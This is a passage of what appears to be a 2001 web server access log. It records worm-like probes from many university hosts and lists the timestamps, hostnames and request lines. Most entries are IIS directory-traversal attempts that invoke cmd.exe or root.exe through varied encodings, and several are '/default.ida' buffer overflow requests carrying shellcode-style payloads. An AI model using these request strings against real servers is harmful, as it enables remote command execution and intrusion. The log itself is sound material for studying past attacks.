/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 14:39:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:42:18: starrlab.tamu.edu [128.194.203.195] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:47:11: starrlab.tamu.edu [128.194.203.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:47:11: starrlab.tamu.edu [128.194.203.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:15: starrlab.tamu.edu [128.194.203.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:19: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:20: [193.115.176.112] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:51:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:51:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:11: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:51:15: intradoc.law.utoronto.ca [128.100.167.60] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:51:15: intradoc.law.utoronto.ca [128.100.167.60] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:51:18: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:52:42: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:44: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:54:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:56:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:56:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:56:26: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:58:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:00:18: soaisweb.byu.edu [128.187.144.249] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:16: soaisweb.byu.edu [128.187.144.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:16: soaisweb.byu.edu [128.187.144.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:18: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:21: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:21: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:22: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:23: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:08:23: bus205-45.gsb.columbia.edu [128.59.205.45] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:08:41: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir 